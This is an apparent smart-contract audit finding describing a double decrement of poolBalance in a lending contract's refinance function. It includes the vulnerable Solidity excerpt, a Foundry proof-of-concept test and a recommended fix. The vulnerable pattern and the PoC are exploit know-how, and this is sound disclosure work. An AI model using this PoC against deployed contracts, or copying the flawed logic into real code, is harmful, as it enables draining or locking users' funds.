20,000 USDC
View results
Submission Details
Severity: high
Valid

Lender.sol: A malicious user can make lender's `poolBalance` to zero, and lock loan token in protocol.

Summary

Calling refinance decrements the new lender's poolBalance twice.

Vulnerability Details

During the refinace logic, the poolBalance of poolId is updated twice to decrease by twice the actual borrowed quantity.

After updating with _updatePoolBalance(poolId, pools[poolId].poolBalance - debt);, it is finally reduced once more with pools[poolId].poolBalance -= debt;.

A malicious user could exploit this to run the refinance repeatedly, wiping out the poolBalance of a particular lender. The loanToken is then locked inside the protocol and cannot be recovered.

function refinance(Refinance[] calldata refinances) public {
for (uint256 i = 0; i < refinances.length; i++) {
uint256 loanId = refinances[i].loanId;
bytes32 poolId = refinances[i].poolId;
bytes32 oldPoolId = keccak256(
abi.encode(
loans[loanId].lender,
loans[loanId].loanToken,
loans[loanId].collateralToken
)
);
uint256 debt = refinances[i].debt;
uint256 collateral = refinances[i].collateral;
// get the loan info
Loan memory loan = loans[loanId];
...
_updatePoolBalance(poolId, pools[poolId].poolBalance - debt); //@audit first update
pools[poolId].outstandingLoans += debt;
...
loans[loanId].collateral = collateral;
// update loan interest rate
loans[loanId].interestRate = pool.interestRate;
// update loan start timestamp
loans[loanId].startTimestamp = block.timestamp;
// update loan auction start timestamp
loans[loanId].auctionStartTimestamp = type(uint256).max;
// update loan auction length
loans[loanId].auctionLength = pool.auctionLength;
// update loan lender
loans[loanId].lender = pool.lender;
// update pool balance
pools[poolId].poolBalance -= debt; //@audit second update
...
}
}

POC:

function test_refinance() public {
test_borrow();
vm.startPrank(lender2);
Pool memory p = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
lender.setPool(p);
vm.startPrank(borrower);
Refinance memory r = Refinance({
loanId: 0,
poolId: keccak256(
abi.encode(
address(lender2),
address(loanToken),
address(collateralToken)
)
),
debt: 100*10**18,
collateral: 100*10**18
});
Refinance[] memory rs = new Refinance[](1);
rs[0] = r;
lender.refinance(rs);
(,,,,uint256 poolBalance,,,,) = lender.pools(
lender.getPoolId(lender2, address(loanToken), address(collateralToken))
);
assertEq(poolBalance, 1000e18 - 100e18); //@audit [FAIL. Reason: Assertion failed.]
// assertEq(loanToken.balanceOf(address(borrower)), 100*10**18);
// assertEq(collateralToken.balanceOf(address(lender)), 100*10**18);
}

Impact

A malicious user can make lender's poolBalance to zero, and lock loan token in protocol.

Tools Used

VS Code

Recommendations

remove pools[poolId].poolBalance -= debt;

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.